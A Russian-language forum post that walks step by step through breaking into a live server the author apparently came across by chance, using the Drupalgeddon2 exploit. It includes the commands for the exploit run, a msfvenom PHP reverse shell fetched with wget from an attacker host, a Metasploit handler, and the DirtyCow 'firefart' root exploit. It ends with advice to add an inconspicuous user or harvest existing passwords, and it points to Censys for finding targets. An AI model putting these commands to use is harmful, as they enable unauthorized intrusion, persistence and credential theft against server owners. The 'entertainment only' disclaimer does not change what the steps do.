Hack the Server (Drupal)
@webwareПриветствую уважаемую аудиторию форума Codeby.net.
В этой статье мы рассмотрим реальный взлом сервера, на котором расположен сайт, уязвимый к эксплоиту Drupalgeddon2. О нем достаточно информации в сети, потому заострять внимание на этом мы не будем.

Используем все доступные нам средства безопасности и анонимности, если этого нет, то можно работать и так:

И приступаем к действиям, нам понадобится:
- Атакующая платформа на базе Linux. (Я использую Kali Linux + Raspbian)
- Адрес сервера, на котором расположен уязвимый сайт.
Мне попался на глаза такой совершенно случайно, а для вас всегда есть Censys.
Для начала, скачиваем скрипт позволяющий использовать уязвимость Drupalgeddon2, в результате применения которого, мы должны получить шелл drupalgeddon2 от пользователя www-data (apache user).
git clone https://github.com/dreadlocked/Drupalgeddon2

Запускаем скрипт, добавив в качестве аргумента адрес целевого хоста:
ruby drupalgeddon2.rb http://что-то там/drupal/

Положительным итогом для нас, будет доступ к шеллу drupalgeddon2:

Как видно из скриншота, у нас есть шелл от пользователя apache и ОС Gentoo с ядром 4.0.5.
drupalgeddon2-шелл достаточно ограничен, он не выводит сообщения об ошибках и не позволяет перемещаться по директориям, но нам его функционала для начала, вполне хватает, следующим шагом, будет получение обратного php-shell на Kali Linux.
Генерируем его, с помощью msfvenom:
msfvenom –p php/reverse_php LHOST=298.282.222.22 LPORT=4445 –f raw > sh.php

Поднимаем локальный веб-сервер и копируем туда нашу полезную нагрузку предварительно убрав расширение .php.

На целевом хосте, у нас есть права на запись в директорию /tmp, скачиваем с нашего сервера файл sh, и так как, перейти в другой каталог мы не можем, выполняем следующую команду:
wget http://19.10.010.010/sh -P /tmp/
Файл будет скопирован в каталог /tmp. Добавляем расширение .php и даем права на запуск.

На атакующем хосте (Kali Linux) запускаем Metasploit со следующими параметрами:
msfconsole use multi/handler set payload php/reverse_php set LHOST 28.28.10.29 set LPORT 4445
На атакуемом хосте запускаем ранее скачанный sh.php:

Про проброс портов я рассказывать не буду, надеюсь всем и так понятно, что я делал предварительно.
Позитивный итог этих действий - shell в среде metasploit:

Теперь, когда у нас есть полноценный и стабильный шелл, время задуматься о том, как повысить привилегии в системе.
Так как, это Gentoo я сначала искал эксплоиты под версию ядра, но безуспешно, не помог, даже новый инструмент о котором я расскажу в следующей серии.
Потом, приняв всю безысходность ситуации, я решил попробовать firefart.
Загружаем его и компилируем с необходимыми параметрами:
wget https://www.exploit-db.com/download/40839.c gcc -pthread 40839.c -o fire –lcrypt

Осталось запустить его и указать пароль для ново созданного пользователя firefart.
Перед этим дадим файлу разрешение на запуск:
./fire pssss
Можем смотреть, что у нас получилось:
cat /etc/passwd

Всё завершилось успешно, закрываем все сессии, логинимся по SSH как firefart:

id

Далее, создаем пользователя, который не будет привлекать внимание.
Или, получаем пароли от существующих, всё зависит от ваших умений и фантазии.

На этом, можно закончить.
P.S: Статья, носит исключительно развлекательный характер.
P.P.S: Ни один сервер/сайт не пострадал.
Спасибо за внимание.